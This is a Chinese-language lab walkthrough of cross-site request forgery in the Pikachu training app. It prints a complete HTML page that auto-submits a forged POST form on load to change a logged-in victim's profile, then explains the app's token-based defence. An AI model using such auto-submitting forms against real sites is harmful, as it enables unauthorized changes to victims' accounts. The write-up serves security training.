CSRF(POST)
如果是POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击。
这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。
可以在本地上编写一个html文件
<html> <head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="God" /> <input id="phonenum" type="text" name="phonenum" value="BJernsen" /> <input id="add" type="text" name="add" value="I'm hacker" /> <input id="email" type="text" name="email" value="BJernsen@pikachu.com" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>
在受害者登陆的状态下,将构造好的url发送给受害者,点击后
CSRF(Token)
使用token是防备很多web漏洞的一个常用方法,我们在平常的ctf比赛时也会遇到token。
首先我们来看看源码,修改用户信息时,服务器会比较url中的token字段和session中的token字段,如果相同才能修改用户信息。修改完用户信息之后,会用set_token()函数生成新的token,将其返回到html表单中并隐藏起来,以便下次用户修改信息时代入url。
set_token()函数如下图所示,在生成新token之前会先销毁老token,避免token重复使用。